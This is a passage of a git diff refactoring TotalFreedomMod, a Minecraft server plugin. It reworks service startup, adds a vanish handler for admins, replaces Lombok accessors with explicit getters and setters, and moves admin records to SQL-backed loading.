+    {
+        plugin = this;
         TotalFreedomMod.pluginName = plugin.getDescription().getName();
         TotalFreedomMod.pluginVersion = plugin.getDescription().getVersion();
 
         FLog.setPluginLogger(plugin.getLogger());
-        FLog.setServerLogger(server.getLogger());
+        FLog.setServerLogger(getServer().getLogger());
 
         build.load(plugin);
     }
 
     @Override
-    public void enable()
+    public void onEnable()
     {
         FLog.info("Created by Madgeek1450 and Prozza");
         FLog.info("Version " + build.version);
@@ -172,133 +184,63 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
         FUtil.deleteCoreDumps();
         FUtil.deleteFolder(new File("./_deleteme"));
 
-        BackupManager backups = new BackupManager(this);
-        backups.createBackups(TotalFreedomMod.CONFIG_FILENAME, true);
-        backups.createBackups(AdminList.CONFIG_FILENAME);
-        backups.createBackups(PermbanList.CONFIG_FILENAME);
-        backups.createBackups(PermissionConfig.PERMISSIONS_FILENAME, true);
-        backups.createBackups(MasterBuilder.CONFIG_FILENAME);
-        backups.createBackups(PunishmentList.CONFIG_FILENAME);
-        backups.createBackups("");
+        fsh = new FreedomServiceHandler();
 
-        config = new MainConfig(this);
+        config = new MainConfig();
         config.load();
 
-        permissions = new PermissionConfig(this);
+        if (FUtil.inDeveloperMode())
+        {
+            FLog.debug("Developer mode enabled.");
+        }
+
+        cl = new CommandLoader();
+        cl.loadCommands();
+
+        BackupManager backups = new BackupManager();
+        backups.createAllBackups();
+
+        permissions = new PermissionConfig();
         permissions.load();
 
-        // Start services
-        services = new ServiceManager<>(plugin);
-        si = services.registerService(ServerInterface.class);
-        sf = services.registerService(SavedFlags.class);
-        wm = services.registerService(WorldManager.class);
-        lv = services.registerService(LogViewer.class);
-        sql = services.registerService(SQLite.class);
-        al = services.registerService(AdminList.class);
-        acl = services.registerService(ActivityLog.class);
-        rm = services.registerService(RankManager.class);
-        cl = services.registerService(CommandLoader.class);
-        cb = services.registerService(CommandBlocker.class);
-        eb = services.registerService(EventBlocker.class);
-        bb = services.registerService(BlockBlocker.class);
-        mb = services.registerService(MobBlocker.class);
-        ib = services.registerService(InteractBlocker.class);
-        pb = services.registerService(PotionBlocker.class);
-        lp = services.registerService(LoginProcess.class);
-        nu = services.registerService(AntiNuke.class);
-        as = services.registerService(AntiSpam.class);
-        mbl = services.registerService(MasterBuilderList.class);
-        wr = services.registerService(WorldRestrictions.class);
-        pl = services.registerService(PlayerList.class);
-        sh = services.registerService(Shop.class);
-        an = services.registerService(Announcer.class);
-        cm = services.registerService(ChatManager.class);
-        dc = services.registerService(Discord.class);
-        pul = services.registerService(PunishmentList.class);
-        bm = services.registerService(BanManager.class);
-        pm = services.registerService(PermbanList.class);
-        pem = services.registerService(PermissionManager.class);
-        pa = services.registerService(ProtectArea.class);
-        gr = services.registerService(GameRuleHandler.class);
-        snp = services.registerService(SignBlocker.class);
-        ew = services.registerService(EntityWiper.class);
+        mv = new MovementValidator();
+        sp = new ServerPing();
 
-        // Single admin utils
-        cs = services.registerService(CommandSpy.class);
-        ca = services.registerService(Cager.class);
-        fm = services.registerService(Freezer.class);
-        or = services.registerService(Orbiter.class);
-        mu = services.registerService(Muter.class);
-        ebl = services.registerService(EditBlocker.class);
-        pbl = services.registerService(PVPBlocker.class);
-        fo = services.registerService(Fuckoff.class);
-        ak = services.registerService(AutoKick.class);
-        ae = services.registerService(AutoEject.class);
-        mo = services.registerService(Monitors.class);
+        new Initializer();
 
+        fsh.startServices();
 
-        mv = services.registerService(MovementValidator.class);
-        sp = services.registerService(ServerPing.class);
-        pv = services.registerService(PlayerVerification.class);
-
-        // Fun
-        cul = services.registerService(CurseListener.class);
-        it = services.registerService(ItemFun.class);
-        lm = services.registerService(Landminer.class);
-        ms = services.registerService(MobStacker.class);
-        mp = services.registerService(MP44.class);
-        jp = services.registerService(Jumppads.class);
-        tr = services.registerService(Trailer.class);
-        rt = services.registerService(RealTimer.class);
-
-        // HTTPD
-        hd = services.registerService(HTTPDaemon.class);
-        services.start();
-
-        // Start bridges
-        bridges = new ServiceManager<>(plugin);
-        btb = bridges.registerService(BukkitTelnetBridge.class);
-        cpb = bridges.registerService(CoreProtectBridge.class);
-        esb = bridges.registerService(EssentialsBridge.class);
-        ldb = bridges.registerService(LibsDisguisesBridge.class);
-        web = bridges.registerService(WorldEditBridge.class);
-        wgb = bridges.registerService(WorldGuardBridge.class);
-        bridges.start();
+        FLog.info("Started " + fsh.getServiceAmount() + " services.");
 
         timer.update();
         FLog.info("Version " + pluginVersion + " for " + ServerInterface.COMPILE_NMS_VERSION + " enabled in " + timer.getTotal() + "ms");
 
-        // Metrics @ https://bstats.org/plugin/bukkit/TotalFreedomMod
-        new Metrics(this);
+        // Metrics @ https://bstats.org/plugin/bukkit/TotalFreedomMod/2966
+        new Metrics(this, 2966);
 
-        // Add spawnpoints later - https://github.com/TotalFreedom/TotalFreedomMod/issues/438
-        new BukkitRunnable()
-        {
-            @Override
-            public void run()
-            {
-                plugin.pa.autoAddSpawnpoints();
-            }
-        }.runTaskLater(plugin, 60L);
         // little workaround to stop spigot from autorestarting - causing AMP to detach from process.
         SpigotConfig.config.set("settings.restart-on-crash", false);
     }
 
     @Override
-    public void disable()
+    public void onDisable()
     {
         // Stop services and bridges
-        bridges.stop();
-        services.stop();
+        fsh.stopServices();
 
-        server.getScheduler().cancelTasks(plugin);
+        getServer().getScheduler().cancelTasks(plugin);
 
         FLog.info("Plugin disabled");
     }
 
+    @Override
+    public ChunkGenerator getDefaultWorldGenerator(@NotNull String worldName, String id)
+    {
+        return new CleanroomChunkGenerator(id);
+    }
+
     public static class BuildProperties
     {
-
         public String author;
         public String codename;
         public String version;
@@ -339,21 +281,101 @@ public class TotalFreedomMod extends AeroPlugin<TotalFreedomMod>
         }
     }
 
-    public static TotalFreedomMod plugin()
+    /**
+     * This class is provided to please Codacy.
+     */
+    private final class Initializer
     {
-        for (Plugin plugin : Bukkit.getPluginManager().getPlugins())
+        public Initializer()
         {
-            if (plugin.getName().equalsIgnoreCase(pluginName))
-            {
-                return (TotalFreedomMod)plugin;
-            }
-        }
-        return null;
+            initServices();
+            initAdminUtils();
+            initBridges();
+            initFun();
+            initHTTPD();
         }
 
-    @Override
-    public ChunkGenerator getDefaultWorldGenerator(String worldName, String id)
+        private void initServices()
         {
-        return new CleanroomChunkGenerator(id);
+            // Start services
+            si = new ServerInterface();
+            sf = new SavedFlags();
+            wm = new WorldManager();
+            lv = new LogViewer();
+            sql = new SQLite();
+            al = new AdminList();
+            acl = new ActivityLog();
+            rm = new RankManager();
+            cb = new CommandBlocker();
+            eb = new EventBlocker();
+            bb = new BlockBlocker();
+            mb = new MobBlocker();
+            ib = new InteractBlocker();
+            pb = new PotionBlocker();
+            lp = new LoginProcess();
+            nu = new AntiNuke();
+            as = new AntiSpam();
+            wr = new WorldRestrictions();
+            pl = new PlayerList();
+            sh = new Shop();
+            vo = new Votifier();
+            an = new Announcer();
+            cm = new ChatManager();
+            dc = new Discord();
+            pul = new PunishmentList();
+            bm = new BanManager();
+            im = new IndefiniteBanList();
+            pem = new PermissionManager();
+            gr = new GameRuleHandler();
+            snp = new SignBlocker();
+            ew = new EntityWiper();
+            st = new Sitter();
+            vh = new VanishHandler();
+            ptero = new Pterodactyl();
+        }
+
+        private void initAdminUtils()
+        {
+            // Single admin utils
+            cs = new CommandSpy();
+            ca = new Cager();
+            fm = new Freezer();
+            or = new Orbiter();
+            mu = new Muter();
+            ebl = new EditBlocker();
+            pbl = new PVPBlocker();
+            fo = new Fuckoff();
+            ak = new AutoKick();
+            ae = new AutoEject();
+            mo = new Monitors();
+        }
+
+        private void initBridges()
+        {
+            // Start bridges
+            btb = new BukkitTelnetBridge();
+            cpb = new CoreProtectBridge();
+            esb = new EssentialsBridge();
+            ldb = new LibsDisguisesBridge();
+            tfg = new TFGuildsBridge();
+            web = new WorldEditBridge();
+            wgb = new WorldGuardBridge();
+        }
+
+        private void initFun()
+        {
+            // Fun
+            it = new ItemFun();
+            lm = new Landminer();
+            mp = new MP44();
+            jp = new Jumppads();
+            tr = new Trailer();
+        }
+
+        private void initHTTPD()
+        {
+            // HTTPD
+            hd = new HTTPDaemon();
+        }
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/VanishHandler.java

@@ -0,0 +1,83 @@
+package me.totalfreedom.totalfreedommod;
+
+import me.totalfreedom.totalfreedommod.util.FLog;
+import net.md_5.bungee.api.ChatMessageType;
+import net.md_5.bungee.api.chat.TextComponent;
+import org.bukkit.ChatColor;
+import org.bukkit.entity.Player;
+import org.bukkit.event.EventHandler;
+import org.bukkit.event.EventPriority;
+import org.bukkit.event.player.PlayerJoinEvent;
+import org.bukkit.event.player.PlayerQuitEvent;
+import org.bukkit.scheduler.BukkitRunnable;
+
+public class VanishHandler extends FreedomService
+{
+
+    @Override
+    public void onStart()
+    {
+    }
+
+    @Override
+    public void onStop()
+    {
+    }
+
+    @EventHandler(priority = EventPriority.HIGH)
+    public void onPlayerJoin(PlayerJoinEvent event)
+    {
+        Player player = event.getPlayer();
+
+        for (Player p : server.getOnlinePlayers())
+        {
+            if (!plugin.al.isAdmin(player) && plugin.al.isVanished(p.getName()))
+            {
+                player.hidePlayer(plugin, p);
+            }
+        }
+
+        for (Player p : server.getOnlinePlayers())
+        {
+            if (!plugin.al.isAdmin(p) && plugin.al.isVanished(player.getName()))
+            {
+                p.hidePlayer(plugin, player);
+            }
+        }
+
+        if (plugin.al.isVanished(player.getName()))
+        {
+            plugin.esb.setVanished(player.getName(), true);
+            FLog.info(player.getName() + " joined while still vanished.");
+            plugin.al.messageAllAdmins(ChatColor.YELLOW + player.getName() + " has joined silently.");
+            event.setJoinMessage(null);
+
+            new BukkitRunnable()
+            {
+                @Override
+                public void run()
+                {
+                    if (!plugin.al.isVanished(player.getName()))
+                    {
+                        this.cancel();
+                    }
+
+                    player.spigot().sendMessage(ChatMessageType.ACTION_BAR, TextComponent.fromLegacyText(ChatColor.GOLD + "You are hidden from other players."));
+                }
+            }.runTaskTimer(plugin, 0L, 4L);
+        }
+    }
+
+    @EventHandler
+    public void onPlayerLeave(PlayerQuitEvent event)
+    {
+        Player player = event.getPlayer();
+
+        if (plugin.al.isVanished(player.getName()))
+        {
+            event.setQuitMessage(null);
+            FLog.info(player.getName() + " left while still vanished.");
+            plugin.al.messageAllAdmins(ChatColor.YELLOW + player.getName() + " has left silently.");
+        }
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/admin/ActivityLog.java

@@ -2,12 +2,10 @@ package me.totalfreedom.totalfreedommod.admin;
 
 import com.google.common.collect.Maps;
 import java.util.Map;
-import lombok.Getter;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
+import me.totalfreedom.totalfreedommod.config.YamlConfig;
 import me.totalfreedom.totalfreedommod.util.FLog;
-import net.pravian.aero.config.YamlConfig;
-import net.pravian.aero.util.Ips;
+import me.totalfreedom.totalfreedommod.util.FUtil;
 import org.bukkit.command.CommandSender;
 import org.bukkit.configuration.ConfigurationSection;
 import org.bukkit.entity.Player;
@@ -21,28 +19,30 @@ public class ActivityLog extends FreedomService
 
     public static final String FILENAME = "activitylog.yml";
 
-    @Getter
     private final Map<String, ActivityLogEntry> allActivityLogs = Maps.newHashMap();
     private final Map<String, ActivityLogEntry> nameTable = Maps.newHashMap();
     private final Map<String, ActivityLogEntry> ipTable = Maps.newHashMap();
 
     private final YamlConfig config;
 
-    public ActivityLog(TotalFreedomMod plugin)
+    public ActivityLog()
     {
-        super(plugin);
-
         this.config = new YamlConfig(plugin, FILENAME, true);
     }
 
+    public static String getFILENAME()
+    {
+        return FILENAME;
+    }
+
     @Override
-    protected void onStart()
+    public void onStart()
     {
         load();
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
         save();
     }
@@ -59,7 +59,7 @@ public class ActivityLog extends FreedomService
             ConfigurationSection section = config.getConfigurationSection(key);
             if (section == null)
             {
-                logger.warning("Invalid activity log format: " + key);
+                FLog.warning("Invalid activity log format: " + key);
                 continue;
             }
 
@@ -110,7 +110,7 @@ public class ActivityLog extends FreedomService
         ActivityLogEntry activityLog = getEntryByName(player.getName());
         if (activityLog == null)
         {
-            String ip = Ips.getIp(player);
+            String ip = FUtil.getIp(player);
             activityLog = getEntryByIp(ip);
             if (activityLog != null)
             {
@@ -129,7 +129,7 @@ public class ActivityLog extends FreedomService
                 config.save();
             }
         }
-        String ip = Ips.getIp(player);
+        String ip = FUtil.getIp(player);
         if (!activityLog.getIps().contains(ip))
         {
             activityLog.addIp(ip);
@@ -189,4 +189,24 @@ public class ActivityLog extends FreedomService
             plugin.acl.updateTables();
         }
     }
+
+    public Map<String, ActivityLogEntry> getAllActivityLogs()
+    {
+        return allActivityLogs;
+    }
+
+    public Map<String, ActivityLogEntry> getNameTable()
+    {
+        return nameTable;
+    }
+
+    public Map<String, ActivityLogEntry> getIpTable()
+    {
+        return ipTable;
+    }
+
+    public YamlConfig getConfig()
+    {
+        return config;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/admin/ActivityLogEntry.java

@@ -4,34 +4,21 @@ import com.google.common.collect.Lists;
 import java.time.Instant;
 import java.util.Date;
 import java.util.List;
-import lombok.Getter;
-import lombok.Setter;
+import me.totalfreedom.totalfreedommod.config.IConfig;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.base.ConfigLoadable;
-import net.pravian.aero.base.ConfigSavable;
-import net.pravian.aero.base.Validatable;
 import org.apache.commons.lang.Validate;
 import org.bukkit.configuration.ConfigurationSection;
 import org.bukkit.entity.Player;
 
-public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validatable
+public class ActivityLogEntry implements IConfig
 {
 
-    @Getter
-    private String configKey;
-    @Getter
-    @Setter
-    private String name;
-    @Getter
-    private final List<String> ips = Lists.newArrayList();
-    @Getter
-    @Setter
-    private List<String> timestamps = Lists.newArrayList();
-    @Getter
-    @Setter
-    private List<String> durations = Lists.newArrayList();
-
     public static final String FILENAME = "activitylog.yml";
+    private final List<String> ips = Lists.newArrayList();
+    private final List<String> timestamps = Lists.newArrayList();
+    private final List<String> durations = Lists.newArrayList();
+    private String configKey;
+    private String name;
 
     public ActivityLogEntry(Player player)
     {
@@ -44,6 +31,11 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
         this.configKey = configKey;
     }
 
+    public static String getFILENAME()
+    {
+        return FILENAME;
+    }
+
     public void loadFrom(Player player)
     {
         configKey = player.getName().toLowerCase();
@@ -77,9 +69,18 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
         Date currentTime = Date.from(Instant.now());
         timestamps.add("Login: " + FUtil.dateToString(currentTime));
     }
+
     public void addLogout()
     {
-        String lastLoginString = timestamps.get(timestamps.size() - 1);
+        // Fix of Array index out of bonds issue: FS-131
+        String lastLoginString;
+        if(timestamps.size() > 1)
+        {
+            lastLoginString = timestamps.get(timestamps.size() - 1);
+        }else
+        {
+            lastLoginString = timestamps.get(0);
+        }
         Date currentTime = Date.from(Instant.now());
         timestamps.add("Logout: " + FUtil.dateToString(currentTime));
         lastLoginString = lastLoginString.replace("Login: ", "");
@@ -109,22 +110,67 @@ public class ActivityLogEntry implements ConfigLoadable, ConfigSavable, Validata
     }
 
     public void removeIp(String ip)
-    {
-        if (ips.contains(ip))
     {
         ips.remove(ip);
     }
-    }
 
     public void clearIPs()
     {
         ips.clear();
     }
 
+    public int getTotalSecondsPlayed()
+    {
+        int result = 0;
+        for (String duration : durations)
+        {
+            String[] spl = duration.split(" ");
+            result += Integer.parseInt(spl[0]) * 60 * 60;
+            result += Integer.parseInt(spl[2]) * 60;
+            result += Integer.parseInt(spl[5]);
+        }
+        return result;
+    }
+
     @Override
     public boolean isValid()
     {
         return configKey != null
                 && name != null;
     }
+
+    public String getConfigKey()
+    {
+        return configKey;
+    }
+
+    public void setConfigKey(String configKey)
+    {
+        this.configKey = configKey;
+    }
+
+    public String getName()
+    {
+        return name;
+    }
+
+    public void setName(String name)
+    {
+        this.name = name;
+    }
+
+    public List<String> getIps()
+    {
+        return ips;
+    }
+
+    public List<String> getTimestamps()
+    {
+        return timestamps;
+    }
+
+    public List<String> getDurations()
+    {
+        return durations;
+    }
 }

src/main/java/me/totalfreedom/totalfreedommod/admin/Admin.java

@@ -1,91 +1,60 @@
 package me.totalfreedom.totalfreedommod.admin;
 
-import com.google.common.collect.Lists;
-import java.util.Arrays;
-import java.util.Collections;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.util.ArrayList;
 import java.util.Date;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import lombok.Getter;
-import lombok.Setter;
 import me.totalfreedom.totalfreedommod.LogViewer.LogsRegistrationMode;
 import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.rank.Rank;
+import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.util.Ips;
 import org.apache.commons.lang.StringUtils;
-import org.bukkit.ChatColor;
+import org.bukkit.Bukkit;
 import org.bukkit.entity.Player;
 
 public class Admin
 {
 
-    @Getter
-    @Setter
-    private String name;
-    @Getter
-    private boolean active = true;
-    @Getter
-    @Setter
-    private Rank rank = Rank.SUPER_ADMIN;
-    @Getter
-    private final List<String> ips = Lists.newArrayList();
-    private final List<String> backupCodes = Lists.newArrayList();
-    @Getter
-    @Setter
-    private Date lastLogin = new Date();
-    @Getter
-    @Setter
-    private String loginMessage = null;
-    @Getter
-    @Setter
-    private String discordID = null;
-    @Getter
-    @Setter
-    private String tag = null;
-    @Getter
-    @Setter
-    private Boolean commandSpy = false;
-    @Getter
-    @Setter
-    private Boolean potionSpy = false;
-    @Getter
-    @Setter
-    private String acFormat = null;
-    @Getter
-    @Setter
-    private Boolean oldTags = false;
-    @Getter
-    @Setter
-    private Boolean logStick = false;
 
-    public static final String CONFIG_FILENAME = "admins.yml";
+    private final List<String> ips = new ArrayList<>();
+    private String name;
+    private boolean active = true;
+    private Rank rank = Rank.ADMIN;
+    private Date lastLogin = new Date();
+    private Boolean commandSpy = false;
+    private Boolean potionSpy = false;
+    private String acFormat = null;
+    private String pteroID = null;
 
     public Admin(Player player)
     {
         this.name = player.getName();
-        this.ips.add(Ips.getIp(player));
+        this.ips.add(FUtil.getIp(player));
     }
 
-    public Admin(String username, List<String> ips, Rank rank, Boolean active, Date lastLogin, String loginMessage, String tag, String discordID, List<String> backupCodes, Boolean commandSpy, Boolean potionSpy, String acFormat, Boolean oldTags, Boolean logStick)
+    public Admin(ResultSet resultSet)
     {
-        this.name = username;
-        this.active = active;
-        this.rank = rank;
+        try
+        {
+            this.name = resultSet.getString("username");
+            this.active = resultSet.getBoolean("active");
+            this.rank = Rank.findRank(resultSet.getString("rank"));
             this.ips.clear();
-        this.ips.addAll(ips);
-        this.lastLogin = lastLogin;
-        this.loginMessage = loginMessage;
-        this.tag = tag;
-        this.discordID = discordID;
-        this.backupCodes.clear();
-        this.backupCodes.addAll(backupCodes);
-        this.commandSpy = commandSpy;
-        this.potionSpy = potionSpy;
-        this.acFormat = acFormat;
-        this.oldTags = oldTags;
-        this.logStick = logStick;
+            this.ips.addAll(FUtil.stringToList(resultSet.getString("ips")));
+            this.lastLogin = new Date(resultSet.getLong("last_login"));
+            this.commandSpy = resultSet.getBoolean("command_spy");
+            this.potionSpy = resultSet.getBoolean("potion_spy");
+            this.acFormat = resultSet.getString("ac_format");
+            this.pteroID = resultSet.getString("ptero_id");
+        }
+        catch (SQLException e)
+        {
+            FLog.severe("Failed to load admin: " + e.getMessage());
+        }
     }
 
     @Override
@@ -96,27 +65,15 @@ public class Admin
         output.append("Admin: ").append(name).append("\n")
                 .append("- IPs: ").append(StringUtils.join(ips, ", ")).append("\n")
                 .append("- Last Login: ").append(FUtil.dateToString(lastLogin)).append("\n")
-                .append("- Custom Login Message: ").append(loginMessage).append("\n")
                 .append("- Rank: ").append(rank.getName()).append("\n")
                 .append("- Is Active: ").append(active).append("\n")
-                .append("- Discord ID: ").append(discordID).append("\n")
-                .append("- Tag: ").append(tag).append("\n").append(ChatColor.GRAY)
                 .append("- Potion Spy: ").append(potionSpy).append("\n")
                 .append("- Admin Chat Format: ").append(acFormat).append("\n")
-                .append("- Old Tags: ").append(oldTags).append("\n")
-                .append("- Log Stick: ").append(logStick).append("\n")
-                .append("- Backup Codes: ").append(backupCodes.size()).append("/10");
+                .append("- Pterodactyl ID: ").append(pteroID).append("\n");
 
         return output.toString();
     }
 
-    public void loadFrom(Player player)
-    {
-        name = player.getName();
-        ips.clear();
-        ips.add(Ips.getIp(player));
-    }
-
     public Map<String, Object> toSQLStorable()
     {
         Map<String, Object> map = new HashMap<String, Object>()
@@ -125,30 +82,15 @@ public class Admin
             put("active", active);
             put("rank", rank.toString());
             put("ips", FUtil.listToString(ips));
-            put("backup_codes", FUtil.listToString(backupCodes));
             put("last_login", lastLogin.getTime());
-            put("login_message", loginMessage);
-            put("discord_id", discordID);
-            put("tag", tag);
             put("command_spy", commandSpy);
             put("potion_spy", potionSpy);
             put("ac_format", acFormat);
-            put("old_tags", oldTags);
-            put("log_stick", logStick);
+            put("ptero_id", pteroID);
         }};
         return map;
     }
 
-    public boolean isAtLeast(Rank pRank)
-    {
-        return rank.isAtLeast(pRank);
-    }
-
-    public boolean hasLoginMessage()
-    {
-        return loginMessage != null && !loginMessage.isEmpty();
-    }
-
     // Util IP methods
     public void addIp(String ip)
     {
@@ -167,43 +109,54 @@ public class Admin
     }
 
     public void removeIp(String ip)
-    {
-        if (ips.contains(ip))
     {
         ips.remove(ip);
     }
-    }
 
     public void clearIPs()
     {
         ips.clear();
     }
 
-    public List<String> getBackupCodes()
+    public boolean isValid()
     {
-        return Collections.unmodifiableList(backupCodes);
+        return name != null
+                && rank != null
+                && !ips.isEmpty()
+                && lastLogin != null;
     }
 
-    public void setBackupCodes(List<String> codes)
+    public String getName()
     {
-        backupCodes.clear();
-        backupCodes.addAll(codes);
+        return name;
     }
 
-    public void removeBackupCode(String code)
+    public void setName(String name)
     {
-        backupCodes.remove(code);
+        this.name = name;
+    }
+
+    public boolean isActive()
+    {
+        return active;
     }
 
     public void setActive(boolean active)
     {
         this.active = active;
 
-        final TotalFreedomMod plugin = TotalFreedomMod.plugin();
+        final TotalFreedomMod plugin = TotalFreedomMod.getPlugin();
+
+        // Avoiding stupid NPE compiler warnings
+        if (plugin == null)
+        {
+            Bukkit.getLogger().severe("The plugin is null!! This is a major issue and WILL break the plugin!");
+            return;
+        }
 
         if (!active)
         {
-            if (getRank().isAtLeast(Rank.TELNET_ADMIN))
+            if (getRank().isAtLeast(Rank.ADMIN))
             {
                 if (plugin.btb != null)
                 {
@@ -215,11 +168,68 @@ public class Admin
         }
     }
 
-    public boolean isValid()
+    public Rank getRank()
     {
-        return name != null
-                && rank != null
-                && !ips.isEmpty()
-                && lastLogin != null;
+        return rank;
+    }
+
+    public void setRank(Rank rank)
+    {
+        this.rank = rank;
+    }
+
+    public List<String> getIps()
+    {
+        return ips;
+    }
+
+    public Date getLastLogin()
+    {
+        return lastLogin;
+    }
+
+    public void setLastLogin(Date lastLogin)
+    {
+        this.lastLogin = lastLogin;
+    }
+
+    public Boolean getCommandSpy()
+    {
+        return commandSpy;
+    }
+
+    public void setCommandSpy(Boolean commandSpy)
+    {
+        this.commandSpy = commandSpy;
+    }
+
+    public Boolean getPotionSpy()
+    {
+        return potionSpy;
+    }
+
+    public void setPotionSpy(Boolean potionSpy)
+    {
+        this.potionSpy = potionSpy;
+    }
+
+    public String getAcFormat()
+    {
+        return acFormat;
+    }
+
+    public void setAcFormat(String acFormat)
+    {
+        this.acFormat = acFormat;
+    }
+
+    public String getPteroID()
+    {
+        return pteroID;
+    }
+
+    public void setPteroID(String pteroID)
+    {
+        this.pteroID = pteroID;
     }
 }

src/main/java/me/totalfreedom/totalfreedommod/admin/AdminList.java

@@ -1,6 +1,5 @@
 package me.totalfreedom.totalfreedommod.admin;
 
-import com.google.common.base.Function;
 import com.google.common.collect.Maps;
 import com.google.common.collect.Sets;
 import java.sql.ResultSet;
@@ -11,71 +10,44 @@ import java.util.List;
 import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.TimeUnit;
-import lombok.Getter;
 import me.totalfreedom.totalfreedommod.FreedomService;
-import me.totalfreedom.totalfreedommod.TotalFreedomMod;
 import me.totalfreedom.totalfreedommod.config.ConfigEntry;
 import me.totalfreedom.totalfreedommod.rank.Rank;
 import me.totalfreedom.totalfreedommod.util.FLog;
 import me.totalfreedom.totalfreedommod.util.FUtil;
-import net.pravian.aero.config.YamlConfig;
-import net.pravian.aero.util.Ips;
 import org.bukkit.Bukkit;
 import org.bukkit.command.CommandSender;
 import org.bukkit.entity.Player;
-import org.bukkit.plugin.ServicePriority;
 
 public class AdminList extends FreedomService
 {
-
-    public static final String CONFIG_FILENAME = "admins.yml";
-
-    @Getter
+    public static final List<String> vanished = new ArrayList<>();
+    public final Map<String, List<String>> verifiedNoAdmin = Maps.newHashMap();
     private final Set<Admin> allAdmins = Sets.newHashSet(); // Includes disabled admins
     // Only active admins below
-    @Getter
     private final Set<Admin> activeAdmins = Sets.newHashSet();
     private final Map<String, Admin> nameTable = Maps.newHashMap();
     private final Map<String, Admin> ipTable = Maps.newHashMap();
-    public final List<String> verifiedNoAdmins = new ArrayList<>();
-    public final Map<String, List<String>> verifiedNoAdminIps = Maps.newHashMap();
-    public static ArrayList<Player> vanished = new ArrayList<>();
-    //
-    private final YamlConfig config;
 
-    public AdminList(TotalFreedomMod plugin)
+    public static List<String> getVanished()
     {
-        super(plugin);
-
-        this.config = new YamlConfig(plugin, CONFIG_FILENAME, true);
+        return vanished;
     }
 
     @Override
-    protected void onStart()
+    public void onStart()
     {
         load();
-
-        server.getServicesManager().register(Function.class, new Function<Player, Boolean>()
-        {
-            @Override
-            public Boolean apply(Player player)
-            {
-                return isAdmin(player);
-            }
-        }, plugin, ServicePriority.Normal);
-
         deactivateOldEntries(false);
     }
 
     @Override
-    protected void onStop()
+    public void onStop()
     {
     }
 
     public void load()
     {
-        config.load();
-
         allAdmins.clear();
         try
         {
@@ -83,28 +55,14 @@ public class AdminList extends FreedomService
             {
                 while (adminSet.next())
                 {
-                    String name = adminSet.getString("username");
-                    List<String> ips = FUtil.stringToList(adminSet.getString("ips"));
-                    Rank rank = Rank.findRank(adminSet.getString("rank"));
-                    Boolean active = adminSet.getBoolean("active");;
-                    Date lastLogin = new Date(adminSet.getLong("last_login"));
-                    String loginMessage = adminSet.getString("login_message");
-                    String tag = adminSet.getString("tag");
-                    String discordID = adminSet.getString("discord_id");
-                    List<String> backupCodes = FUtil.stringToList(adminSet.getString("backup_codes"));
-                    Boolean commandSpy = adminSet.getBoolean("command_spy");
-                    Boolean potionSpy = adminSet.getBoolean("potion_spy");
-                    String acFormat = adminSet.getString("ac_format");
-                    Boolean oldTags = adminSet.getBoolean("old_tags");
-                    Boolean logStick = adminSet.getBoolean("log_stick");
-                    Admin admin = new Admin(name, ips, rank, active, lastLogin, loginMessage, tag, discordID, backupCodes, commandSpy, potionSpy, acFormat, oldTags, logStick);
+                    Admin admin = new Admin(adminSet);
                     allAdmins.add(admin);
                 }
             }
         }
         catch (SQLException e)
         {
-            FLog.severe("Failed to get adminlist: " + e.getMessage());
+            FLog.severe("Failed to load admin list: " + e.getMessage());
         }
 
         updateTables();
@@ -122,6 +80,18 @@ public class AdminList extends FreedomService
         }
     }
 
+    public void potionSpyMessage(String message)
+    {
+        for (Player player : server.getOnlinePlayers())
+        {
+            Admin admin = getAdmin(player.getPlayer());
+            if (isAdmin(player) && admin.getPotionSpy())
+            {
+                player.sendMessage(message);
+            }
+        }
+    }
+
     public synchronized boolean isAdminSync(CommandSender sender)
     {
         return isAdmin(sender);
@@ -149,6 +119,18 @@ public class AdminList extends FreedomService
         return admin != null && admin.isActive();
     }
 
+    public boolean isAdmin(Player player)
+    {
+        if (player == null)
+        {
+            return true;
+        }
+
+        Admin admin = getAdmin(player);
+
+        return admin != null && admin.isActive();
+    }
+
     public boolean isSeniorAdmin(CommandSender sender)
     {
         Admin admin = getAdmin(sender);
@@ -173,7 +155,7 @@ public class AdminList extends FreedomService
     public Admin getAdmin(Player player)
     {
         // Find admin
-        String ip = Ips.getIp(player);
+        String ip = FUtil.getIp(player);
         Admin admin = getEntryByName(player.getName());
 
         // Admin by name
@@ -257,7 +239,7 @@ public class AdminList extends FreedomService
 
     public boolean isVerifiedAdmin(Player player)
     {
-        return verifiedNoAdmins.contains(player.getName()) && verifiedNoAdminIps.get(player.getName()).contains(Ips.getIp(player));
+        return verifiedNoAdmin.containsKey(player.getName()) && verifiedNoAdmin.get(player.getName()).contains(FUtil.getIp(player));
     }
 
     public boolean isIdentityMatched(Player player)
@@ -268,14 +250,14 @@ public class AdminList extends FreedomService
         }
 
         Admin admin = getAdmin(player);
-        return admin == null ? false : admin.getName().equalsIgnoreCase(player.getName());
+        return admin != null && admin.getName().equalsIgnoreCase(player.getName());
     }
 
     public boolean addAdmin(Admin admin)
     {
         if (!admin.isValid())
         {
-            logger.warning("Could not add admin: " + admin.getName() + " Admin is missing details!");
+            FLog.warning("Could not add admin: " + admin.getName() + ". Admin is missing details!");
             return false;
         }
 
@@ -291,7 +273,7 @@ public class AdminList extends FreedomService
 
     public boolean removeAdmin(Admin admin)
     {
-        if (admin.getRank().isAtLeast(Rank.TELNET_ADMIN))
+        if (admin.getRank().isAtLeast(Rank.ADMIN))
         {
             if (plugin.btb != null)
             {
@@ -334,8 +316,6 @@ public class AdminList extends FreedomService
             }
 
         }
-
-        plugin.wm.adminworld.wipeAccessCache();
     }
